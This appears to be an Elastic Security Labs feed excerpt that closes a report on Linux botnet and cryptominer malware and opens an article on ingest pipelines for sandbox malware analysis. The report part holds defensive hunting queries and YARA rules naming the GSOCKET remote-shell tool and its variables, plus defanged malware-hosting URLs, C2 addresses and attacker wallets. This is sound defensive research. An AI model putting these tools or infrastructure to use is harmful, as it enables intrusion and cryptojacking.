<ul>
<li>Potential Shell via Web Server</li>
<li>Potential Web Server Code Injection</li>
<li>Potential Shell Executed by Web Server User</li>
<li>Decode Activity via Web Server</li>
<li>Linux Telegram API Request</li>
<li>Suspicious Echo Execution</li>
</ul>
<h3>Hunting queries in Elastic</h3>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:</p>
<p><strong>Potential XMRIG Execution</strong></p>
<p>The following EQL query can be used to hunt for XMRIG executions within your environment.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (
    process.args in (&quot;-a&quot;, &quot;--algo&quot;) and process.args in (
      &quot;gr&quot;, &quot;rx/graft&quot;, &quot;cn/upx2&quot;, &quot;argon2/chukwav2&quot;, &quot;cn/ccx&quot;, &quot;kawpow&quot;, &quot;rx/keva&quot;, &quot;cn-pico/tlo&quot;, &quot;rx/sfx&quot;, &quot;rx/arq&quot;,
      &quot;rx/0&quot;, &quot;argon2/chukwa&quot;, &quot;argon2/ninja&quot;, &quot;rx/wow&quot;, &quot;cn/fast&quot;, &quot;cn/rwz&quot;, &quot;cn/zls&quot;, &quot;cn/double&quot;, &quot;cn/r&quot;, &quot;cn-pico&quot;,
      &quot;cn/half&quot;, &quot;cn/2&quot;, &quot;cn/xao&quot;, &quot;cn/rto&quot;, &quot;cn-heavy/tube&quot;, &quot;cn-heavy/xhv&quot;, &quot;cn-heavy/0&quot;, &quot;cn/1&quot;, &quot;cn-lite/1&quot;,
      &quot;cn-lite/0&quot;, &quot;cn/0&quot;
    )
  ) or
  (
    process.args == &quot;--coin&quot; and process.args in (&quot;monero&quot;, &quot;arqma&quot;, &quot;dero&quot;)
  )
) and process.args in (&quot;-o&quot;, &quot;--url&quot;)
</code></pre>
<p><strong>MSR Write Access Enabled</strong></p>
<p>XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.name == &quot;modprobe&quot; and
process.args == &quot;msr&quot; and process.args == &quot;allow_writes=on&quot;
</code></pre>
<p><strong>Potential GSOCKET Activity</strong></p>
<p>This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and
process.command_line : (
&quot;*GS_ARGS=*&quot;, &quot;*gs-netcat*&quot;, &quot;*gs-sftp*&quot;, &quot;*gs-mount*&quot;, &quot;*gs-full-pipe*&quot;, &quot;*GS_NOINST=*&quot;, &quot;*GSOCKET_ARGS=*&quot;, &quot;*GS_DSTDIR=*&quot;, &quot;*GS_URL_BASE=*&quot;, &quot;*GS_OSARCH=*&quot;, &quot;*GS_DEBUG=*&quot;, &quot;*GS_HIDDEN_NAME=*&quot;, &quot;*GS_HOST=*&quot;, &quot;*GS_PORT=*&quot;, &quot;*GS_TG_TOKEN=*&quot;, &quot;*GS_TG_CHATID=*&quot;, &quot;*GS_DISCORD_KEY=*&quot;, &quot;*GS_WEBHOOK_KEY=*&quot;
)
</code></pre>
<p><strong>Potential Process Masquerading via Exec</strong></p>
<p>GSOCKET leverages the <code>exec -a</code> method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and process.args == &quot;-c&quot; and process.command_line : &quot;* exec -a *&quot;
</code></pre>
<p><strong>Renice or Ulimit Execution</strong></p>
<p>Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  process.name in (&quot;ulimit&quot;, &quot;renice&quot;) or (
  process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and process.args == &quot;-c&quot; and
  process.command_line : (&quot;*ulimit*&quot;, &quot;*renice*&quot;)
  )
)
</code></pre>
<p><strong>Inexistent Cron(d) Service Started</strong></p>
<p>Both KAIJI and RUDEDEVIL establish persistence through the creation of a <code>cron(d)</code> service in <code>/etc/init.d/cron(d)</code>. <code>Cron</code>, by default, does not use a <code>SysV Init</code> service. Execution of a <code>cron(d)</code> service is suspicious, and should be analyzed further.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
  process.name == &quot;systemctl&quot; and process.args == &quot;start&quot; and process.args in 
  (&quot;cron.service&quot;, &quot;crond.service&quot;, &quot;cron&quot;, &quot;crond&quot;)
</code></pre>
<p><strong>Suspicious /etc/ Process Execution from KAIJI</strong></p>
<p>The <code>/etc/</code> directory is not a commonly used directory for process executions. KAIJI is known to place a binary called <code>32678</code> and <code>id.services.conf</code> in the <code>/etc/</code> directory, to establish persistence and evade detection.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (process.executable regex &quot;&quot;&quot;/etc/[0-9].*&quot;&quot;&quot; or process.executable : (&quot;/etc/*.conf&quot;, &quot;/etc/.*&quot;))
</code></pre>
<p><strong>Hidden File Creation in /dev/ directory</strong></p>
<p>Creating hidden files in <code>/dev/</code> and <code>/dev/shm/</code> are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as <code>K4SPREADER</code> are known to drop hidden files in these locations.</p>
<pre><code>file where event.type == &quot;creation&quot; and file.path : (&quot;/dev/shm/.*&quot;, &quot;/dev/.*&quot;)
</code></pre>
<p><strong>Suspicious Process Execution from Parent Executable in /boot/</strong></p>
<p>Malwares such as KAIJI and XORDDOS are known to place executable files in the <code>/boot/</code> directory, and leverage these to establish persistence while attempting to evade detection.</p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.executable : &quot;/boot/*&quot;
</code></pre>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom <code>Apache2</code> malware:</p>
<pre><code>rule Linux_Trojan_Generic {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-20&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Linux.Trojan.Generic&quot;
        reference = &quot;https://www.elastic.co/es/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = &quot;yyyyyyyy&quot;
    condition:
        1 of ($enc*) and $key
}
</code></pre>
<p>To detect GSOCKET, including several of its adjacent tools, we created the following signature:</p>
<pre><code>rule Multi_Hacktool_Gsocket {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-23&quot;
        os = &quot;Linux, MacOS&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Multi.Hacktool.Gsocket&quot;
        reference = &quot;https://www.elastic.co/es/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $str1 = &quot;gsocket: gs_funcs not found&quot;
        $str2 = &quot;/share/gsocket/gs_funcs&quot;
        $str3 = &quot;$GSOCKET_ARGS&quot;
        $str4 = &quot;GSOCKET_SECRET&quot;
        $str5 = &quot;GS_HIJACK_PORTS&quot;
        $str6 = &quot;sftp -D gs-netcat&quot;
        $str7 = &quot;GS_NETCAT_BIN&quot;
        $str8 = &quot;GSOCKET_NO_GREETINGS&quot;
        $str9 = &quot;GS-NETCAT(1)&quot;
        $str10 = &quot;GSOCKET_SOCKS_IP&quot;
        $str11 = &quot;GSOCKET_SOCKS_PORT&quot;
        $str12 = &quot;gsocket(1)&quot;
        $str13 = &quot;gs-sftp(1)&quot;
        $str14 = &quot;gs-mount(1)&quot;
    condition:
        3 of them
}
</code></pre>
<p>Finally, the following signature was written to detect the <a href="https://github.com/nicocha30/ligolo-ng">open source Ligolo-ng tool</a>, as we have reason to believe this tool was used during this intrusion.</p>
<pre><code>rule Linux_Hacktool_LigoloNG {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-09-20&quot;
        last_modified = &quot;2024-09-20&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Linux.Hacktool.LigoloNG&quot;
        reference = &quot;https://www.elastic.co/es/security-labs/betting-on-bots&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a = &quot;https://github.com/nicocha30/ligolo-ng&quot;
        $b = &quot;@Nicocha30!&quot;
        $c = &quot;Ligolo-ng %s / %s / %s&quot;
    condition:
        all of them
}
</code></pre>
<h3>Defensive recommendations</h3>
<p>To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:</p>
<ol>
<li><strong>Keep Your Elastic Detection Rules Updated and Enabled</strong>: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.</li>
<li><strong>Enable Prevention Mode in Elastic Defend</strong>: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.</li>
<li><strong>Monitor Alerts and Logs</strong>: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.</li>
<li><strong>Conduct Threat Hunting</strong>: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.</li>
<li><strong>Implement Web Application Firewalls (WAFs)</strong>: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.</li>
<li><strong>Enforce Strong Authentication for SSH</strong>: Use public/private key authentication for SSH access to protect against brute force attacks.</li>
<li><strong>Write Secure Code</strong>: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.</li>
<li><strong>Regularly Patch and Update Systems</strong>: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.</li>
</ol>
<p>By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.</p>
<h2>Observations</h2>
<p>The following observables were discussed in this research. These are available for download in STIX or ECS format <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref6138">here</a>.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f</td>
<td>SHA-256</td>
<td>SystemdXC</td>
<td>XMRIG</td>
</tr>
<tr>
<td>82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684</td>
<td>SHA-256</td>
<td>apache2</td>
<td>apache2_unpacked</td>
</tr>
<tr>
<td>0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd</td>
<td>SHA-256</td>
<td>apache2_upx_packed</td>
<td>apache2_upx_packed</td>
</tr>
<tr>
<td>9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e</td>
<td>SHA-256</td>
<td>download.sh</td>
<td>KAIJI Stager</td>
</tr>
<tr>
<td>1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79</td>
<td>SHA-256</td>
<td>linux_386</td>
<td>KAIJI x86</td>
</tr>
<tr>
<td>d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8</td>
<td>SHA-256</td>
<td>linux_amd64</td>
<td>KAIJI x64</td>
</tr>
<tr>
<td>ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b</td>
<td>SHA-256</td>
<td>linux_arm5</td>
<td>KAIJI ARM5</td>
</tr>
<tr>
<td>792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6</td>
<td>SHA-256</td>
<td>linux_arm6</td>
<td>KAIJI ARM6</td>
</tr>
<tr>
<td>e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4</td>
<td>SHA-256</td>
<td>linux_arm64</td>
<td>KAIJI ARM64</td>
</tr>
<tr>
<td>3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745</td>
<td>SHA-256</td>
<td>linux_arm7</td>
<td>KAIJI ARM7</td>
</tr>
<tr>
<td>fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0</td>
<td>SHA-256</td>
<td>linux_mips</td>
<td>KAIJI MIPS</td>
</tr>
<tr>
<td>6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55</td>
<td>SHA-256</td>
<td>linux_mips64</td>
<td>KAIJI MIPS64</td>
</tr>
<tr>
<td>0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814</td>
<td>SHA-256</td>
<td>linux_mips64el</td>
<td>KAIJI MIPS64 little-endian</td>
</tr>
<tr>
<td>310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988</td>
<td>SHA-256</td>
<td>linux_mips_softfloat</td>
<td>KAIJI MIPS softfloat</td>
</tr>
<tr>
<td>0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527</td>
<td>SHA-256</td>
<td>linux_mipsel</td>
<td>KAIJI MIPS little-endian</td>
</tr>
<tr>
<td>36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196</td>
<td>SHA-256</td>
<td>linux_mipsel_softfloat</td>
<td>KAIJI MIPS little-endian softfloat</td>
</tr>
<tr>
<td>3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f</td>
<td>SHA-256</td>
<td>linux_ppc64</td>
<td>KAIJI PPC64</td>
</tr>
<tr>
<td>7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7</td>
<td>SHA-256</td>
<td>linux_ppc64el</td>
<td>KAIJI PPC64 little-endian</td>
</tr>
<tr>
<td>09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7</td>
<td>SHA-256</td>
<td>l64_v0</td>
<td>RUDEDEVIL/LUFICER x64 version 0</td>
</tr>
<tr>
<td>ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46</td>
<td>SHA-256</td>
<td>l64_v1</td>
<td>RUDEDEVIL/LUFICER x64 version 1</td>
</tr>
<tr>
<td>160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a</td>
<td>SHA-256</td>
<td>l64_v2</td>
<td>RUDEDEVIL/LUFICER x64 version 2</td>
</tr>
<tr>
<td>89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055</td>
<td>SHA-256</td>
<td>l64_v3</td>
<td>RUDEDEVIL/LUFICER x64 version 3</td>
</tr>
<tr>
<td>20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b</td>
<td>SHA-256</td>
<td>l86_v0</td>
<td>RUDEDEVIL/LUFICER x86 version 0</td>
</tr>
<tr>
<td>728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c</td>
<td>SHA-256</td>
<td>l86_v1</td>
<td>RUDEDEVIL/LUFICER x86 version 1</td>
</tr>
<tr>
<td>47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40</td>
<td>SHA-256</td>
<td>l86_v2</td>
<td>RUDEDEVIL/LUFICER x86 version 2</td>
</tr>
<tr>
<td>e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5</td>
<td>SHA-256</td>
<td>l86_v3</td>
<td>RUDEDEVIL/LUFICER x86 version 3</td>
</tr>
<tr>
<td>d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60</td>
<td>SHA-256</td>
<td>hjvhg.exe</td>
<td>Miner</td>
</tr>
<tr>
<td>54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de</td>
<td>SHA-256</td>
<td>mvhhvcp3.exe</td>
<td>DONUT LOADER</td>
</tr>
<tr>
<td>9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976</td>
<td>SHA-256</td>
<td>vdfgb.exe</td>
<td>Miner</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/ifindyou">http://gcp.pagaelrescate[.]com:8080/ifindyou</a></td>
<td>url</td>
<td>ifindyou.sh</td>
<td>Stage 1</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/cycnet">http://gcp.pagaelrescate[.]com:8080/cycnet</a></td>
<td>url</td>
<td>cycnet.sh</td>
<td>Stage 2</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/testslot/enviador_slot">http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot</a></td>
<td>url</td>
<td>Enviador_slot.py</td>
<td>Stage 3</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/t9r/SystemdXC">http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</a></td>
<td>url</td>
<td>SystemdXC</td>
<td>XMRIG</td>
</tr>
<tr>
<td><a href="http://38.54.125%5B.%5D192:8080/nginx-rc">http://38.54.125[.]192:8080/nginx-rc</a></td>
<td>url</td>
<td>nginx-rc</td>
<td>LIGOLO-NG</td>
</tr>
<tr>
<td><a href="http://62.72.22%5B.%5D91/apache2">http://62.72.22[.]91/apache2</a></td>
<td>url</td>
<td>apache2</td>
<td>Custom Malware</td>
</tr>
<tr>
<td><a href="http://62.72.22%5B.%5D91/apache2v86">http://62.72.22[.]91/apache2v86</a></td>
<td>url</td>
<td>apache2v86</td>
<td>Custom Malware</td>
</tr>
<tr>
<td><a href="http://91.92.241%5B.%5D103:8002/gk.php">http://91.92.241[.]103:8002/gk.php</a></td>
<td>url</td>
<td>gk.php</td>
<td>PHP Backdoor</td>
</tr>
<tr>
<td><a href="http://hfs.t1linux%5B.%5Dcom:7845/scdsshfk">http://hfs.t1linux[.]com:7845/scdsshfk</a></td>
<td>url</td>
<td>scdsshfk</td>
<td>XMRIG</td>
</tr>
<tr>
<td>gcp.pagaelrescate[.]com</td>
<td>domain-name</td>
<td></td>
<td>REF Hosting domain</td>
</tr>
<tr>
<td>nishabii[.]xyz</td>
<td>domain-name</td>
<td></td>
<td>RUDEDEVIL C2</td>
</tr>
<tr>
<td>3.147.53[.]183</td>
<td>ipv4-addr</td>
<td></td>
<td>Python Reverse Shell C2</td>
</tr>
<tr>
<td>38.54.125[.]192</td>
<td>ipv4-addr</td>
<td></td>
<td>C2 Server</td>
</tr>
<tr>
<td>107.178.101[.]245</td>
<td>ipv4-addr</td>
<td></td>
<td>Malware File Server (Rejetto)</td>
</tr>
<tr>
<td>62.72.22[.]91</td>
<td>ipv4-addr</td>
<td></td>
<td>Server Hosting Malware</td>
</tr>
<tr>
<td>91.92.241[.]103</td>
<td>ipv4-addr</td>
<td></td>
<td>C2 Server</td>
</tr>
<tr>
<td>61.160.194[.]160</td>
<td>ipv4-addr</td>
<td></td>
<td>Server Hosting Malware</td>
</tr>
<tr>
<td>41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL</td>
<td>XMR Wallet</td>
<td></td>
<td>RUDEDEVIL/LUFICER mining wallet</td>
</tr>
<tr>
<td>42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc</td>
<td>XMR Wallet</td>
<td></td>
<td>RUDEDEVIL/LUFICER mining wallet</td>
</tr>
<tr>
<td>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</td>
<td>BTC Wallet</td>
<td></td>
<td>XMRIG mining wallet</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html">https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html</a></li>
<li><a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/">https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/</a></li>
<li><a href="https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities">https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities</a></li>
<li><a href="https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/">https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/</a></li>
<li><a href="https://github.com/hackerschoice/gsocket">https://github.com/hackerschoice/gsocket</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/betting-on-bots/betting-on-bots.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[An Elastic approach to large-scale dynamic malware analysis]]></title>
            <link>https://www.elastic.co/es/security-labs/an-elastic-approach-to-large-scale-dynamic-malware-analysis</link>
            <guid>an-elastic-approach-to-large-scale-dynamic-malware-analysis</guid>
            <pubDate>Mon, 31 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This research reveals insights into some of the large-scale malware analysis performed by Elastic Security Labs, and complements research related to the Detonate framework.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In previous publications, we have written about Detonate: how we built it and how we use it within Elastic for malware analysis. This publication delves deeper into using Detonate for dynamic large-scale malware analysis.</p>
<p>At a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. For more information about Detonate, check out <a href="https://www.elastic.co/es/security-labs/click-click-boom-automating-protections-testing-with-detonate">Click, Click… Boom! Automating Protections Testing with Detonate</a>.</p>
<p>A significant portion of the data generated during execution consists of benign and duplicate information. When conducting dynamic malware analysis on a large scale, managing the vast amount of low-value data is a considerable challenge. To address it, we took advantage of several Elastic ingest pipelines, which we leveraged to effectively filter out noise from our datasets. This application of ingest pipelines enabled us to conveniently analyze our large volumes of malware data and identify several malicious behaviors that we were already interested in.</p>
<p>This research examines the concept of ingest pipelines, exploring their different types and applications, and how to implement them. We will then walk through a comprehensive workflow incorporating these ingest pipelines. We will discuss our scripts and the methods that we created in order to automate the entire process. Finally, we will present our results and discuss how the workflow shared in this publication can be leveraged by others to obtain similar outcomes.</p>
<h3>Overview</h3>
<p>In order to accomplish our large-scale malware analysis goals, we required effective data management. An overview of the chained ingest pipelines and processors that we built is shown below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image1.png" alt="Ingest pipeline process overview" /></p>
<p>In summary, we fingerprint known good binaries and store those fingerprints in an enrich index. We do the same thing when we detonate malware or an unknown binary, using a comparison of those fingerprints to quickly filter out low-value data.</p>
<h3>Ingest pipelines</h3>
<p><a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/ingest.html">Ingest pipelines</a> are a powerful feature that allows you to preprocess and transform data before indexing it into Elasticsearch. They provide a way to perform various actions on incoming documents, such as enriching the data, modifying fields, extracting information, or applying data normalization. Ingest pipelines can be customized to meet specific data processing requirements. Our objective was to create a pipeline that differentiates known benign documents from a dataset containing both benign and malicious records. We ingested large benign and malicious datasets into separate namespaces and built pipelines to normalize the data, calculate fingerprints, and add a specific label based on certain criteria. This label helps differentiate between known benign and unknown data.</p>
<h3>Normalization</h3>
<p>Normalization is the process of organizing and transforming data into a consistent and standardized format. When dealing with lots of different data, normalization becomes important to ensure consistency, improve search and analysis capabilities, and enable efficient data processing.</p>
<p>The goal is to make sure documents with unique identifiers are no longer unique. For example, we remove the unique 6-character filename of the Elastic Agent in the &quot; <code>/opt/Elastic/Agent/data/</code>&quot; directory after installation. This ensures data from different Elastic Agents can be fully comparable, leading to more filtering opportunities in later pipeline phases.</p>
<p>To accomplish this, we leveraged the <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/gsub-processor.html">gsub pipeline</a>. It allowed us to apply regex-based transformations to fields within the data pipeline. We performed pattern matching and substitution operations to normalize event data, such as removing special characters, converting text to lowercase, or replacing certain patterns with standardized values.</p>
<p>By analyzing our dataset, we discovered a set of candidates that would require normalization, and created a simple Python script to generate a list of gsub processors based on the matching value and the replacement value. The script that we leveraged can be found on <a href="https://github.com/elastic/labs-releases/tree/main/tools/malware_research">GitHub</a>. Using the output of the script, we can leverage dev tools to create a pipeline containing the generated gsub processors.</p>
<p>Prior to utilizing the normalization pipeline, documents would contain random 6 character strings for every single Elastic agent. An example is displayed below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image6.png" alt="Document before normalization" /></p>
<p>After ingesting and manipulating the documents through the normalization pipeline, the result looks like the following.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image13.png" alt="Document after normalization" /></p>
<p>When all documents are normalized, we can continue with the fingerprint calculation process.</p>
<h3>Fingerprint calculation</h3>
<p>Fingerprint calculations are commonly used to generate a unique identifier for documents based on their content. The <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/fingerprint-processor.html">fingerprint ingest pipeline</a> provides a convenient way to generate such identifiers by computing a hash value based on the specified fields and options, allowing for efficient document deduplication and comparison. The pipeline offers various options, including algorithms (such as MD5 or SHA-1), target fields for storing the generated fingerprints, and the ability to include or exclude specific fields in the calculation.</p>
<p>We needed to calculate the fingerprints of documents ingested into Elasticsearch from several sources and integrations such as endpoint, <a href="https://docs.elastic.co/integrations/auditd_manager">auditd manager</a>, packetbeat, <a href="https://docs.elastic.co/integrations/fim">file integrity monitoring</a> etc. To calculate the fingerprints, we first needed to specify which fields we wanted to calculate them for. Because different data sources use different fields, it was important to create separate processors for each data type. For our use case, we ended up creating a different fingerprint processor for the following set of event categories:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image20.jpg" alt="Gsub ingest processor" /></p>
<p>By specifying a condition we ensure that each processor only runs on its corresponding dataset.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image21.jpg" alt="Event filter example" /></p>
<p>The included fields to these processors are of the utmost importance, as they can indicate if a field is less static than expected or if an empty field could result in a non-functional pipeline. For example, when working with network data, it might initially make sense to include protocol, destination ip, destination port, source ip and source port. But this will lead to too much noise in the pipeline, as the socket that is opened on a system will be opened on an ephemeral source port, which will result in many unique fingerprints for otherwise identical network traffic. Some fields that may be subject to change relate to file sizes, version numbers, or specific text fields that are not being parsed. Normalization sometimes preserves fields that aren't useful for fingerprinting, and the more specific the fingerprint the less useful it tends to be. Fingerprinting by file hash illustrates this, while adding an empty space to the file causes a new hash to be calculated, this would break an existing hash-based fingerprint of the file.</p>
<p>Field selection is a tedious process but vital for good results. For a specific integration, like auditd manager, we can find the <a href="https://github.com/elastic/integrations/tree/main/packages/auditd_manager">exported fields</a> on <a href="https://github.com/elastic/integrations/tree/main/packages">GitHub</a> and pick the ones that seem useful for our purposes. An example of the processor that we used for <code>auditd\_manager</code> can be found in the image below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image12.png" alt="Example of the event's fingerprint fields used for the calculation." /></p>
<h3>Enrichment process</h3>
<p>The <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/enrich-processor.html">enrich ingest pipeline</a> is used for enriching incoming documents with additional information from external data sources. It allows you to enrich your data by performing lookups against an index or data set, based on specific criteria. Common use cases for the enrich ingest pipeline include augmenting documents with data from reference datasets (such as geolocation or customer information) and enriching logs with contextual information (like threat intelligence labels).</p>
